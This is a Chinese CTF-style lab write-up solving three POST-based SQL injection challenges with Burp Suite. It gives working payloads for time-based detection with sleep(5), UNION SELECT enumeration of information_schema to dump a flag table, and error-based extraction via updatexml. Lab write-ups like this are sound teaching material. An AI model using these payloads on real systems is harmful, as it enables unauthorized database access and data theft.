工具:Burpsuite
三關地址:
http://59.63.200.79:8812/New/PostBased/RankOne/sql-one/
http://59.63.200.79:8812/New/PostBased/RankTwo/sql-two/
http://59.63.200.79:8812/New/PostBased/RankThree/sql-three/
post注入第一題:
先用Burp Suite開代理抓包,在密碼后加’ or sleep(5) # 判斷是否有注入:
實踐證明被執行了,存在注入。
然后猜解字段數和注入點:將密碼賬號故意寫錯宕掉第一行輸出:
uname=&passwd=zz’union select 1,2,3 #&submit=Submit 猜測是否有三個字段和輸出:
顯然沒有三個字段
uname=&passwd=zz’union select 1,2 #&submit=Submit 猜測是否有2個字段和輸出:
顯然有兩個字段和回顯點:
然后就和SQL顯錯注入類似的做法:
獲取當前庫中所有表名:
‘union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()#
所有表名:emails,referers,uagents,users,zkaq
然后獲取zkaq表中的字段名:
‘ union select 1,group_concat(column_name) from information_schema.columns where table_name =’zkaq’ #
獲得表zkaq的字段名:flag,zKaQ
然后查表中內容flag:
‘ union select 1,group_concat(zKaQ) from zkaq #
獲取到flag.
Post注入第二題:
第二題與第一題相似,只是前面語句的閉合部分由 ’(單引號)改為”) (雙引號+括號)
其他步驟和第一題相似:
Post注入第三題:
一開始我抓包測試以為是單引號+括號的閉合,但后來發現,這樣雖然可以閉合,但是沒有任何顯示,我就去社區看了下,結合老師上課講的報錯,又回來做了一遍:
Sleep(5)測試:
注入確實存在,sleep()函數被執行了
這個題的主要思想是沒有回顯點,使用報錯來當回顯點。
‘) or updatexml(1,concat(0x7e,(select database()),0x7e),1)# 可以查出當前數據庫
因為報錯只能輸出一小段數據,所以我沒要用limit m,n 來逐個輸出我們需要的數據(表和字段),報錯有一個好的地方就是我們不在需要將前面的密碼賬號宕掉了,所以“zkz”改不改都不會影響我們的輸出點。
‘) or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 4,1 ),0x7e),1)# 獲取我們的表名
‘) or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’zkaq’ limit 0,1 ),0x7e),1)# 獲取zkaq表的字段名
‘) or updatexml(1,concat(0x7e,(select zKaQ from zkaq limit 3,1 ),0x7e),1)#
查出第四個flag:
但是試驗了好多次,最后第18個flag才過關的。